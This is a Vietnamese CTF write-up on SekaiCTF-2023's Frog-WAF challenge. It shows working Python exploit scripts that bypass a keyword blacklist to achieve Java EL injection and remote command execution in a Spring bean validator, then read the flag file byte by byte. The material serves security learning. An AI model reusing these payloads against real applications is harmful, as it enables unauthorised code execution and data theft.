SekaiCTF-2023 Ctf Writeup - Frog WAF - EL Injection WAF Bypass

theme

Preface

Write up chi tiết bài Frog-WAF thuộc giải SekaiCTF-2023. Bài này trong giải mình không làm ra do stuck 1 số chỗ nên hôm nay mình sẽ tham khảo qua script solution và write up chi tiết lại.

Overview

Challenge cho source-code, các bạn có thể tải tại: https://drive.google.com/file/d/1NDolpwf01ckCy7qcBGEp-_aZGT0OfI6E/view?usp=sharing

Challenge dùng gradle để build app spring boot gradle

Xem Dockerfile:

FROM gradle:7.5-jdk11-alpine AS build

COPY --chown=gradle:gradle build.gradle settings.gradle /home/gradle/frogwaf/
COPY --chown=gradle:gradle src/ /home/gradle/frogwaf/src/
WORKDIR /home/gradle/frogwaf
RUN gradle bootJar

FROM openjdk:11-slim

COPY flag.txt /flag.txt

RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt

RUN addgroup --system --gid 1000 app && adduser --system --group --uid 1000 app
COPY --chown=app:app --from=build /home/gradle/frogwaf/build/libs/*.jar /opt/frogwaf/
USER app
ENTRYPOINT ["java", "-jar", "/opt/frogwaf/frogwaf-0.0.1-SNAPSHOT.jar"]

Thì flag.txt được rename thành tên random ==> phải RCE

Sau khi build thì được file jar frogwaf-0.0.1-SNAPSHOT.jar, mình ngồi review source code cả tiếng thì thấy không có gì đặc biệt. Tại class ContactController nhận post json tại /addContact, khi bind json data với class model Contact sẽ thực hiện validate từng fields có đúng format và lưu contacts vào session: contacts

Class Contact: cls_Contact

Class này có format là một POJO tức chỉ có các fields và các getters, setters method mặc định.

Lúc đầu mình tưởng đây là Spring4Shell nhưng loay hoay một hồi mới nhận ra không phải do challenge chạy jdk8 và không chạy trên tomcat,… -> condition

Mày mò một hồi mới nhận ra điều đặc biệt là ở các annotation validate field country:

ContactController --> addContact(HttpSession session, @RequestBody @Valid Contact contact) {
////
Contact --> private @NotNull @CheckCountry String country;

Interface CheckCountry: CheckCountry

Class CountryValidator: custom validator CountryValidator

Method isValid sẽ kiểm tra input country có tồn tại các blacklist keyword trong class FrogWaf, nếu có sẽ throw ngay lỗi AccessDeniedException - nếu không sẽ kiểm tra tiếp country có nằm trong whitelist các country đã định nghĩa, nếu có thì sẽ là valid - nếu không sẽ trả về lỗi ConstraintViolation với custom template là message (để ý input đang bị validate được format vào message template).

Từ keyword buildConstraintViolationWithTemplate dễ dàng tìm được: https://securitylab.github.com/research/bean-validation-RCE/

Bài blog của Alvaro MunozBean Validation leads to RCE đã phân tích rất chi tiết, nói đơn giản thì bug này là (Jakarta) EL Injection khi sử dụng custom error template qua method buildConstraintViolationWithTemplate trong quá trình thực hiện Bean Validation. Đọc xong có thể thấy sink challenge này cũng được build dựa trên bài blog này do mình thấy có nhiều sự tương đồng.

Tuy nhiên với challenge này để exploit lổ hổng này phải bypass firewall khá gắt ở CountryValidator#isValid hay FrogWaf#preHandle. Method này sẽ check các blacklist keyword ở AttackTypes liệu có trong các params, nếu có sẽ throw luôn AccessDeniedException: AttackTypes

Class AttackTypes chứa các keyword sau: AttackTypes_keyword

  • Black list các number, operator, keyword thường dùng trong EL Injection, keyword chạy cmd, true, false, kí tự như " hay ' ==> không thể viết chuỗi,…

Vậy chốt lại hướng đi đơn giản là EL Injection RCE bypass firewall. Anyway, PoC tạm xác nhận có Java EL Injection ở param country: poc_country

Build payload

Mục tiêu của bypass là tạo được payload EL Injection để RCE tương tự như sau:

this.getClass().forName("java.lang.Runtime").getRuntime().invoke(null).exec("calc").getInputStream().read()

Từ ConstraintValidatorContext (interface CheckCountry) biết được có thể truy cập các biến sau: messsage, groups, payload

Dễ dàng lấy được class java.lang.Class: java.lang.Class

Truy cập được class Class trong Java ta có thể sử dụng các methods thường được sử dụng trong reflection, là bước đệm gọi được các arbitrary methods/objects mong muốn.

Đến đây ta muốn gọi được Class.forName() để khởi tạo được class Runtime, tuy nhiên keyword Name đã bị blacklist và mình cũng không thể viết chuỗi do bị block kí tự "'.

Nhưng java có method Class#getMethods() list toàn bộ methods của class Class và trả về dưới dạng một array các methods: getMethods_docs getMethods

Vậy nên vấn đề còn lại là cần bypass được black list number để lấy được method forName() trong array trên:

Bypass number restriction

Đọc java docs mình thấy có method Comparable#compareTo() trả về các value int là -1, 0, 1 khi compare: Comparable_docs

Lợi dụng method này mình có thể lấy được các value int:

Value 0: 0

Value 1: 1

Do method compareTo() chỉ compare được các object cùng loại nên mình sẽ compare qua hai giá trị boolean là true hoặc fail, để lấy được true/false thì lại qua method equals như trên.

Tiếp tục, để lấy các giá trị int cao hơn, mình sử dụng Integer#sum(): Integer_docs

Có thể lấy được class Integer đơn giản như sau: Integer

Cộng 1 lại được value là 2: 2

Bằng cách tương tự mình build được python script generate number mong muốn:

import requests

url = 'http://ubuntu.lab:1337/addContact'

def adding_number_by_one(s):
	return f"message.length().sum(message.equals(message).compareTo(message.equals(groups)),{s})"

def get_number(n):
	zero = "message.equals(message).compareTo(message.equals(message))"
	one = "message.equals(message).compareTo(message.equals(groups))"

	if n == 0:
		return zero
	elif n == 1:
		return one
	else:
		current_number = 1
		template_number = one
		for i in range(2,20):
			template_number = adding_number_by_one(template_number)
			current_number += 1

			if current_number == n:
				return template_number

if __name__ == '__main__':
	number = 7

	json = {"firstName":"Aaa",
		"lastName":"Aaa",
		"description":"Aaa",
		"country": "__${" + str(get_number(number)) + "}__"
	}

	r = requests.post(url, json=json)
	print(r.json()["violations"][0]["message"])

Demo chạy script: demo1

Cuối cùng, lấy được method Class#forName với index là 2: forName

Bypass string restriction

Mục tiêu tiếp theo là cần viết được chuỗi string mong muốn do bây giờ mình đã có thể gọi được một số class với method bất kỳ (qua getMethods() + bypass number trên)

Trong Java ta có thể convert ascii number thành array characters qua method Character#toChars: Character_docs

Cũng như trong class String có method String#charAt() trả về object Character: String_docs

Nhờ đó mình hoàn thiện được thêm function sau:

def get_character(c):
	# Lấy class Character: String.charAt().invoke(message,0) index 22 -> method String#charAt không phải static -> invoke obj message thay vì null
	# Character#toChars()[0].toString() index 39 -> [0] do toChars trả về một array char, toString để dễ sử dụng method String#concat() các characters phía sau
	return f"message.getClass().getMethods()[{get_number(22)}].invoke(message,{get_number(0)}).getClass().getMethods()[{get_number(39)}].invoke(null,{get_number(ord(c))})[{get_number(0)}].toString()"

def get_string(chars):
	out = get_character(chars[0])
	for i in range(1, len(chars)):
		out += f".concat({get_character(chars[i])})"
	return out

def get_class(class_name):
	# forName: 2 -> Class#forName()
	return f"message.getClass().getClass().getMethods()[{get_number(2)}].invoke(message, {get_string(class_name)})"

Demo get_class('java.lang.Runtime'): demo2

Finishing

Đến đây thì không còn gì khó khăn nữa rồi, tương tự như trên mình hoàn thành nốt function get_methodexec_method để gọi đến Runtime.getRuntime.exec(String):

def get_method(class_name, method_index):
	return get_class(class_name) + f".getMethods()[{get_number(method_index)}]"

def exec_method(command):
    # Runtime#exec() index 6
	return get_method('java.lang.Runtime', 6) + f".invoke(null).exec({get_string(command)}).getInputStream().read()"

Thực thi command thành công: rce1

Tuy nhiên như challenge đã hint là server sẽ không có outbound ==> không thể lấy reverse shell cũng như InputStream#read() chỉ đọc 1 byte của stream và trả về: InputStream_docs

Vậy nên để lấy được flag mình sẽ chạy chạy command bash -c {cat,/flag-*}|{cut,-c,{i}} trong vòng lặp để lấy từng ký tự của flag:

Full script:

import requests

url = 'http://frog-waf.chals.sekai.team/addContact'

def adding_number_by_one(s):
	return f"message.length().sum(message.equals(message).compareTo(message.equals(groups)),{s})"

def get_number(n):
	zero = "message.equals(message).compareTo(message.equals(message))"
	one = "message.equals(message).compareTo(message.equals(groups))"

	if n == 0:
		return zero
	elif n == 1:
		return one
	else:
		current_number = 1
		template_number = one
		for i in range(2,255):
			template_number = adding_number_by_one(template_number)
			current_number += 1

			if current_number == n:
				return template_number

def get_character(c):
	# Lấy class Character: String.charAt().invoke(message,0) index 22 -> method String#charAt không phải static -> invoke obj message thay vì null
	# Character#toChars()[0].toString() index 39 -> [0] do toChars trả về một array char, toString để dễ sử dụng method String#concat() các characters phía sau
	return f"message.getClass().getMethods()[{get_number(22)}].invoke(message,{get_number(0)}).getClass().getMethods()[{get_number(39)}].invoke(null,{get_number(ord(c))})[{get_number(0)}].toString()"

def get_string(chars):
	out = get_character(chars[0])
	for i in range(1, len(chars)):
		out += f".concat({get_character(chars[i])})"
	return out

def get_class(class_name):
	# Class#forName() index 2
	return f"message.getClass().getClass().getMethods()[{get_number(2)}].invoke(message, {get_string(class_name)})"

def get_method(class_name, method_index):
	return get_class(class_name) + f".getMethods()[{get_number(method_index)}]"

def exec_method(command):
    # Runtime#exec() index 6
	return get_method('java.lang.Runtime', 6) + f".invoke(null).exec({get_string(command)}).getInputStream().read()"

if __name__ == '__main__':
	flag = ''

	for i in range(1, 40):
		cmd = 'bash -c {cat,/flag-*}|{cut,-c,' + str(i) + '}'
		payload = exec_method(cmd)

		json = {"firstName":"Aaa",
			"lastName":"Aaa",
			"description":"Aaa",
			"country": "__${" + payload + "}__"
		}
		r = requests.post(url, json=json)
		msg = r.json()["violations"][0]["message"].split('__')[1]
		if int(msg) > 20:
			flag += chr(int(msg))
			print(flag)
		else:
			exit()

flag: SEKAI{0h_w0w_y0u_r34lly_b34t_fr0g_wAf_c0ngr4ts!!!!}

Other methods

  • Write up của fireshellsecurity lấy number qua Array.size() đơn giản hơn nhiều: fireshellsecurity_ref

Tham khảo thêm